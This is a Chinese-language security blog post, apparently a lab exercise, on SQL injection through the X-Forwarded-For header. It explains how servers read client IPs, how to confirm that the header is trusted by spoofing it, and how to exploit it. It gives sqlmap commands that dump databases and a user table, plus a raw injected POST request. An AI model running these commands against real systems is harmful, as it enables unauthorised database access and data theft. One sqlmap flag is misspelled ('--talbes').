X-Forwarded-For 概述

X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的IP地址。不明白原理的开发者为了获取客户 IP,会使用 $_SERVER['REMOTE_ADDR'] 变量,这个服务器变量表示和 Web 服务器握手的 IP 是什么(这个不能伪造)。但是很多用户都通过代理来访问服务器的,那么假如使用该全局变量,PHP获取到的IP就是代理服务器的 IP(并不是用户的)。一个请求可能经过的路径:客户端=>>(正向代理=>>透明代理=>>服务器反向代理=>>)Web服务器。其中正向代理、透明代理、服务器反向代理这三个环节并不一定存在。

几种情况

  • 客户端直接连接 Web 服务器(假设 Web 服务器有公网地址),则$_SERVER['REMOTE_ADDR'] 获取到的是客户端的真实 IP。
  • Web 服务器前部署了反向代理(比如 Nginx),则$_SERVER['REMOTE_ADDR'] 获取到的是反向代理设备的 IP(Nginx)。
  • 客户端通过正向代理直接连接 Web 服务器(假设 Web 服务器有公网地址),则$_SERVER['REMOTE_ADDR']获取到的正向代理设备的 IP。

漏洞确认思路

  1. 随便输入账号密码后点击登录
  2. 发现返回结果后发现了IP被记录
  3. 服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值
  4. 确认服务端是不是使用这种方式获取客户端IP地址:将请求加入重发器,在请求头中加入X-Forwarded-For:123.123.123.123(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送,查看返回包中IP果然被更改了。

    漏洞利用

    第一种:Sqlmap参数中指定头

    python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" --level 3 --dbs --batch --threads 10
    python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" -D webcalendar --talbes --batch --threads 10
    python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" -D "webcalendar" -T "user" --dump --batch --threads 10
    

第二种:在post请求包中添加

POST /index.php HTTP/1.1
Host: xxx.xxx.xx.xxx:45181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xx.xxx:45181/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://xxx.xxx.xx.xxx:45181
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For:*

username=admin&password=admin
```
正文到此结束

本文标题:X-Forwarded-For注入练习

本文链接:https://www.hantaosec.com/2030.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源及链接,不带链接禁止任何转载!访问任何网络安全相关文章,则视为默认接受网络安全文章免责声明 ,请认真阅读。

喜欢我的文章吗?
别忘了点赞或赞赏,让我知道创作的路上有你陪伴。